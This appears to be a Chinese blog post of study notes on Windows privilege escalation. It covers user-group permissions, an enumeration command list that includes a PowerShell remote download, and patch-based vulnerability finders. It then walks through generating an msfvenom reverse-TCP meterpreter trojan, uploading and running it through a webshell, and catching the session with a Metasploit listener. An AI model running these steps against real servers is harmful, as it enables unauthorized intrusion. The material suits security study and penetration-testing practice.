02-权限提升-Win溢出漏洞及AT&SC&PS提权

权限提升-Win溢出漏洞及AT&SC&PS提权

思维导图

明确权限提升基础知识:权限划分

明确权限提升环境问题:web及本地

  • web提权:已有网站权限(可以操作网站内容,但无法操作服务器),想要获得服务器权限,进而操作服务器。
  • 本地提权:已有服务器普通用户权限,想要获得root权限。

明确权限提升方法针对:针对方法适应问题

明确权限提升针对版本:个人及服务器版本;针对方法;

知识点必备:

  • 用户及用户组权限划分;Windows提权命令

一、windows权限认识(用户及用户组)

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这些用户账户也将具备该组所拥有的权限。

0x01 普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users) 经过ms验证程序登录的用户均属于此组。

0x02特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
  真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
  “所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
  被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
  但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
  无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

二、Windows命令:

命令                          //描述
systeminfo          //打印系统信息
whoami              //获得当前用户名
whoami /priv          //当前账户权限
ipconfig               //网络配置信息
ipconfig /displaydns        //显示DNS缓存
route print                 //打印出路由表
arp -a                      //打印arp表
hostname                    //主机名
net user                    //列出用户
net user UserName           //关于用户的信息
net user \SMBPATH Pa$$w0rd /u:UserName      //连接SMB
net localgroup              //列出所有组
net localgroup GROUP        //关于指定组的信息
net view \127.0.0.1         //会话打开到当前计算机
net session                 //开发给其他机器
netsh firewall show config  //显示防火墙配置
DRIVERQUERY               //列出安装的驱动
tasklist /svc               //列出服务任务
net start                   //列出启动的服务
dir /s foo                  //在目录中搜索包含指定字符的项
dir /s foo == bar           //同上
sc query                    //列出所有服务
sc qc ServiceName           //找到指定服务的路径
shutdown /r /t 0            //立即重启
type file.txt               //打印出内容
icacls "C:\Example"         //列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn  //列出已安装的补丁
(New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") //利用ps远程下载文件到本地
accesschk.exe -qwsu "Group"         //修改对象(尝试Everyone,Authenticated Users和/或Users)

借助syteminfo()可以打印web层面漏洞补丁

案例1:基于Web环境下的权限提升-阿里云靶机(Windows2012)

知识点:

  • 如何判断使用哪种溢出漏洞?漏洞哪里找?
  • 信息收集-补丁筛选-利用MSF或特定EXP-执行-西瓜到手
  • Vulmap,Wes,WindowsVulnScan对比,exp在哪里获取?
  • MSF结合云服务器搭建组合拳?模拟上述操作实战演练?

1、信息收集

可以采用一些cmd命令,收集系统信息。比如

  • whoami:获得当前用户名

  • whoami /priv:当前账户权限

  • systeminfo:查看系统打了哪些补丁

  • net user:列出用户

  • net user UserName:查看关于用户的信息

  • net localgroup:列出所有组

  • 等等

2、systeminfo获取补丁后如何筛选

工具Vulmap,Wes,WindowsVulnScan三种方法对比:

方法1:Vulmap

下载地址:

https://github.com/vulmon/Vulmap

Vulmap是开源的在线本地漏洞扫描器项目。Vulmap需要在powerShell窗口运行,因此它只适用本地环境,不适用web环境。适用于 Windows 和 Linux 操作系统漏洞。但是它对Windows系统不太友好,更适配Linux系统。比如,下面在阿里云服务器测试,未检测出漏洞。

方法2:WES-NG

下载地址:https://github.com/bitsadmin/wesng

WES-NG是一种基于 Windows systeminfo 实用程序输出的工具,它提供操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。适用于 Windows 操作系统。

wes.py 既适用本地环境,也适用web环境。因为它只需要我们在目标服务器执行systeminfo > 1.txt命令,拿到系统信息(主要是补丁信息)即可,然后我们可以把信息保存在 1.txt文件中,在本机运行wes.py进行测试即可。

下面命令会把漏洞详情保存在vuln.csv文件。

目标服务器执行命令:systeminfo > 1.txt
本机执行命令:python wes.py 1.txt -o vuln.csv

image-20230504101323757

方法3:WindowsVulnScan

下载地址:

https://github.com/chroblert/WindowsVulnScan

WindowsVulnScan根据软件的名称和版本号来确定是否有 CVE 和公开的 EXP。适用于 Windows 操作系统。

WindowsVulnScan 前期收集补丁信息时也需要在PS窗口运行,因此只适用于本地环境。但是我们也可以对其进行一些小的修改,让它可以用于web环境。所以也可以说它是一个通用方法。

功能:

  • 查找主机上具有的CVE
  • 查找具有公开EXP的CVE

参数:

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
  -h, --help            show this help message and exit
  -u, --update-cve      更新CVEKB数据
  -U, --update-exp      更新CVEEXP数据
  -m MODE, --mode MODE  搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
  -C, --check-EXP       检索具有EXP的CVE
  -n PRODUCTNAME, --productName PRODUCTNAME
                        搭配-C使用。自定义产品名称,如Windows 10
  -N PRODUCTVERSION, --productVersion PRODUCTVERSION
                        搭配-C使用。自定义产品版本,如20H2
  -f FILE, --file FILE  ps1脚本运行后产生的.json文件

实例:

1.比如第一步运行KBCollect.ps1收集补丁信息,会自动创建KB.json文件。

img

然后运行如下命令得到exp信息。

python cve-check.py -C -f KB.json

imgimage-20230504102909399

3、cve漏洞利用

利用MSF或特定EXP提权

利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。

首选msf工具,但是msf工具是隔一段时间才会更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多exp,可以搜索一下。

  • https://github.com/SecWiki/windows-kernel-exploits
  • https://github.com/unamer/CVE-2018-8120

在校园网内,禁止使用路由器之类的,所以就导致自己本地虚拟机环境出现各种各样的网络问题,解决起来过于繁琐,为此在服务器上安装MSF

安装参考教程:(58条消息) 云服务器部署msf生成windows木马远程攻击个人主机_____CC____的博客-CSDN博客

云服务器上安装MSF环境 - M0rta1s - 博客园 (cnblogs.com)

msf提权演示案例:

<1> .生成一个名为muma.exe的windows系统exe木马程序,lhost绑定攻击者的ip地址,lport绑定攻击者接收会话的端口号。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(你的公网IP) LPORT=5544 -f exe -o /root/muma.exe

image-20230504172716239

<2>通过webshell上传这个test.exe文件到服务器(test.exe可能会被服务器上的waf识别,所以实战中需要免杀)

输入use exploit/multi/handler 使用监听模块
输入set payload windows/meterpreter/reverse_tcp 设置tcp监听攻击载荷
输入set lhost 0.0.0.0 设置攻击者ip,这里直接0.0.0.0就行
输入set lport 5544 设置攻击者监听ip,与木马绑定的一致5544

<3> 最后show options 看一下设置有没成功
执行run,开始监听5544端口

image-20230504175649311

<5>通过webshell执行这个muma.exe的木马程序,成功返回会话

0

image-20230504175819067

<6>监听到会话,如上上图所示(注意:阿里云服务器安全组默认没有开5566端口,所以我们需要手动打开)

<7>查看,拿到服务器的web权限

image-20230504175925895

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值